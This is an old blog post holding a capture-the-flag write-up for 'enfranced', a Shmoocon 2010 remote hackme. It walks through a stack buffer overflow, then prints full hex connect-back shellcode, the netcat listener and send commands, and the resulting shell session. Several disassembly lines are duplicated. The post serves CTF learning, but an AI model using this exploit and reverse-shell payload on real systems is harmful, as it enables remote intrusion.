Monday, April 25, 2011
pCTF 2011
Light Yellow: networking/trivia
Light Orange: RCE/forensics
Pink: Crypto
Light Green: Web
Light Blue: Pwnable
Purple: qrcode
You can find an archive of challenges here
Tuesday, April 19, 2011
Breaking enfranced
------------============ Breaking enfranced ============------------
Tools: A debugger and/or disassembler, a linux box or vm, and cygwin.
What: This is a remote hackme challenge from Shmoocon 2010, hosted by Ghost in the Shellcode.
Where: You can find this bin here: http://capture.thefl.ag/2010/GitS/gits-static.tar
Getting started.
I've been reversing for awhile now, however I've only recently started to get into the exploitation side fo things. Simple buffer overflows with no NX or ASLR are becoming extinct except the easy local hackmes you typically find, but this hackme finds a nice middle ground for those of us still getting up to speed, and you have to do it remotely, so I thought it was a great challenge. Its nix also, so theres another relm of RE I personally haven't dabbled in much, since I usually reverse Windows applications, it another added challenge to overcome :) Now, on with the show...
Lets just verify our stack is executable on this one, as I said it is, do so by:
enfrance@deb6:~$ readelf -l enfrance | grep STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
That "E" in "RWE" means our life is easier on this one.
Analysis:
So fire up ida or whatever you disassemble with, and lets see what this thing does. At libc_start_main, we want to step into the last address pushed:
08048847 push offset sub_8048902
stepping into and reversing this function we get something like:
=================================================================
.text:08048902
.text:08048902 sub_8048902 proc near
.text:08048902 sub_8048902 proc near
.text:08048902
.text:08048902 fd= dword ptr -8
.text:08048902
.text:08048902 lea ecx, [esp+4]
.text:08048906 and esp, 0FFFFFFF0h
.text:08048909 push dword ptr [ecx-4]
.text:0804890C push ebp
.text:0804890D mov ebp, esp
.text:0804890F push ecx
.text:08048910 sub esp, 14h
.text:08048913 mov dword ptr [esp], offset name ; "enfrance"
.text:0804891A call userStuff
.text:08048902 fd= dword ptr -8
.text:08048902
.text:08048902 lea ecx, [esp+4]
.text:08048906 and esp, 0FFFFFFF0h
.text:08048909 push dword ptr [ecx-4]
.text:0804890C push ebp
.text:0804890D mov ebp, esp
.text:0804890F push ecx
.text:08048910 sub esp, 14h
.text:08048913 mov dword ptr [esp], offset name ; "enfrance"
.text:0804891A call userStuff
.text:0804891F call setHandlers
.text:08048924 call setupSocket
.text:08048929 mov [ebp+fd], eax
.text:0804892C mov eax, [ebp+fd]
.text:0804892F mov [esp], eax ; fd
.text:0804892C mov eax, [ebp+fd]
.text:0804892F mov [esp], eax ; fd
.text:08048932 call doBind
.text:08048937 mov eax, [ebp+fd]
.text:0804893A mov [esp], eax ; fd
.text:0804893A mov [esp], eax ; fd
.text:0804893D call doListen
.text:08048942 mov eax, [ebp+fd]
.text:08048945 mov [esp], eax ; fd
.text:08048945 mov [esp], eax ; fd
.text:08048948 call sub_80489E6
.text:08048948 sub_8048902 endp
.text:08048948 sub_8048902 endp
.text:08048948
=================================================================
if you step in and reverse the call here:
.text:0804891A E8 1D 03+call userStuff
you see it the process has to be ran as the user enfrance, as pushed to the stack at 0x8048913. Then it sets up handlers for the signals thrown in the function at 0x804891F, and socket setup at 0x8048924. Now the last call at 0x8048948 is a function that will cause the 0xA signal handler to be called, which will eventually lead us to where we will exploit this binary. So step into the function I named setHandlers and you see something like:
=================================================================
; Attributes: bp-based frame
.text:08048ACD
.text:08048ACD setHandlers proc near
.text:08048ACD
.text:08048ACD setHandlers proc near
.text:08048ACD push ebp
.text:08048ACE mov ebp, esp
.text:08048AD0 sub esp, 8
.text:08048AD3 mov dword ptr [esp+4], offset ErrorHandler ; handler
.text:08048ACE mov ebp, esp
.text:08048AD0 sub esp, 8
.text:08048AD3 mov dword ptr [esp+4], offset ErrorHandler ; handler
.text:08048ADB mov dword ptr [esp], 0Ch ; sig
.text:08048AE2 call _signal
.text:08048AE7 mov dword ptr [esp+4], offset acceptAndFork ; handler
.text:08048AEF mov dword ptr [esp], 0Ah ; sig
.text:08048AF6 call _signal
.text:08048AFB mov dword ptr [esp+4], offset readHelper ; handler
.text:08048B03 mov dword ptr [esp], 1Fh ; sig
.text:08048B0A call _signal
.text:08048B0F mov eax, 1
.text:08048B14 leave
.text:08048B15 retn
.text:08048B15 setHandlers endp
.text:08048B14 leave
.text:08048B15 retn
.text:08048B15 setHandlers endp
=================================================================
Where, 0xc is a handler that does some error messaging, 0xa is a handler that accepts a connection, forks off and then calls the handler for 0x1f signal, and 0x1f handler is sort of a helper function for read. Feel free to step in and verify.
So what do we know? To get this server in a usable state for our testing purposes we have to setup a user named "enfrance" and run the server from there. If you reversed the socket connection stuff you see the socket is listening on 57855, where when we connect it does some messaging in French and accepts data into a buffer thats 0x800 bytes which is a lot bigger than was allocated for the stack for the buffer local variable in this function, as we see here:
=================================================================
.text:0804895B
.text:0804895B callRead proc near
.text:0804895B callRead proc near
.text:0804895B
.text:0804895B buf= byte ptr -13Ah
.text:0804895B
.text:0804895B push ebp
.text:0804895C mov ebp, esp
.text:0804895E sub esp, 158h
.text:08048964 mov edx, ds:fd
.text:0804896A mov dword ptr [esp+8], 800h ; nbytes
.text:0804895B buf= byte ptr -13Ah
.text:0804895B
.text:0804895B push ebp
.text:0804895C mov ebp, esp
.text:0804895E sub esp, 158h
.text:08048964 mov edx, ds:fd
.text:0804896A mov dword ptr [esp+8], 800h ; nbytes
.text:08048972 lea eax, [ebp+buf]
.text:08048978 mov [esp+4], eax ; buf
.text:08048978 mov [esp+4], eax ; buf
.text:0804897C mov [esp], edx ; fd
.text:0804897F call _read
.text:08048984 leave
.text:08048985 retn
.text:08048985 callRead endp
.text:08048985 retn
.text:08048985 callRead endp
.text:08048985
=================================================================
so a buffer of sent data thats (0x13A + 0x8) = 0x142 bytes should overwrite the return address for us. So lets debug a bit to verify.
Debugging:
So to test our initial analysis theory lets try it out with some test data:
$ (perl -e 'print "A"x314' ; perl -e 'print "B"x4'; perl -e 'print "Z"x4') > france
I've found strace very useful (thanks jan), and in this case -f is used so we can follow child processes, as enfrance forks off so it can keep making connections. So if we do "strace -i -f *yourbinhere*" its excellent help IMO. So ssh to the target machine as the enfrance user and run "strace -i -f ./enfrance"
If we run enfrance like this we'll see it waiting for us to connect at "[b78db424] accept(3,", and if we look up, we see its on port 57855: "sin_port=htons(57855)". So netcat to it and lets intract with the server.
so do:
$ nc 192.168.107.153 57855
and we get:
Cette binaire n'est pas difficile, mais j'espere que vous vous amusez. Si vous me donnez beaucoup de donnees, c'est possible que quelque chose mauvaise se produira.
Up in our shell thats using strace, we see a bunch of system calls, and now its waiting at a read, note that its folowed our child process now too:
"[pid 4087] [b78db424] read(4,"
Its waiting for us to send it some stuff, so lets send it a bunch of 0x41's (i choose around 500ish) and see what happens. Paste the 500 "A"s into the nc session, and up in our strace we see:
"[pid 4087] [b78db424] read(4, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 2048) = 513
[pid 4087] [41414141] --- SIGSEGV (Segmentation fault) @ 0 (0) ---
Process 4087 detached"
notice the EIP changed to 0x41414141, what we expected. So lets try with our test data like so: "$ cat france | nc 192.168.107.153 57855"
and the outcome is:
[pid 5615] [b7701424] read(4, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 2048) = 322
[pid 5615] [5a5a5a5a] --- SIGSEGV (Segmentation fault) @ 0 (0) ---
just as we expected :) thats good, so we now know exactly where and with how much we'll own this challenge :) Now if we debug this with GDB, we need tell gdb to follow the child process like so: "(gdb) set follow-fork-mode child"
If you're debugging in IDA, theres no option like that, so you have to break on the jnz after the call to fork at:
.text:08048A3F call _fork
.text:08048A44 test eax, eax
.text:08048A46 jnz short loc_8048A72
.text:08048A48 call raiseSig1f
.text:08048A46 jnz short loc_8048A72
.text:08048A48 call raiseSig1f
And flip the bit on the zero flag (to 1), so we go to that call instead of jumping to close.
We do have one problem though, if you try that out debugging a couple times, you'll notice your stack address changes each run. Hmmm.. so how do we get by this? Well debug it, and send it our test data, and stop on top of the leave, just after the call to _read. Take a look at the stack, and your registers, and you'll notice that eax has the amount of bytes read, and ecx holds the address to our buffer. So how can we use this to our advantage? We just need to find a 'jmp ecx' to overwrite eip to and we can execute whatever is in our buffer :) I found one here:
.text:08048B47 FF E1 jmp ecx
Exploiting:
So to put it all together one way to pop a shell running the enfrance daemon would be to setup a netcat listener on our box listening on port 6969, send our buffer to the server running enfrance the following shellcode:
0000h: 6A 66 58 99 31 DB 43 52 6A 01 6A 02 89 E1 CD 80
0010h: 96 6A 66 58 43 68 C0 A8 01 0B 66 68 1B 39 66 53
0020h: 89 E1 6A 10 51 56 89 E1 43 CD 80 87 F3 87 CE 49
0030h: B0 3F CD 80 49 79 F9 31 D2 31 C9 B0 0B 52 68 2F
0040h: 2F 73 68 68 2F 62 69 6E 89 E3 52 89 E2 53 89 E1
0050h: CD 80 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0060h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0070h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0080h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0090h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
00A0h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
00B0h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
00C0h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
00D0h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
00E0h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
00F0h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0100h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0110h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0120h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0130h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 47 8B
0140h: 04 08
This shellcode assumes our IP is 192.168.1.11, and connects back to us over port 6969. The shellcode isn't original, its hacked up / modded from the Art of Exploitation book. So we have our remote server running enfrance on lets say 192.168.83.129 at port 57855, and we're that 1.11 ip. On our local machine we setup our listener like so:
$ nc -vl 6969
Then we send our payload:
$ cat payload | nc 192.168.83.129 57855
and back on our listener we should have connected, so we can list a dir and cat a file if needed:
$ nc -vl 6969
ls
Desktop
Documents
Downloads
Music
Pictures
Public
THISWOULDBETHEKEY.txt
Templates
Videos
enfrance
examples.desktop
whoami
enfrance
greetz:
jan, dan, dion, brad, __jon, kat, carl, bfwg gnewman, pilate, jj, and last but not least, dirty hippies everywhere.
greetz:
jan, dan, dion, brad, __jon, kat, carl, bfwg gnewman, pilate, jj, and last but not least, dirty hippies everywhere.
Subscribe to:
Posts (Atom)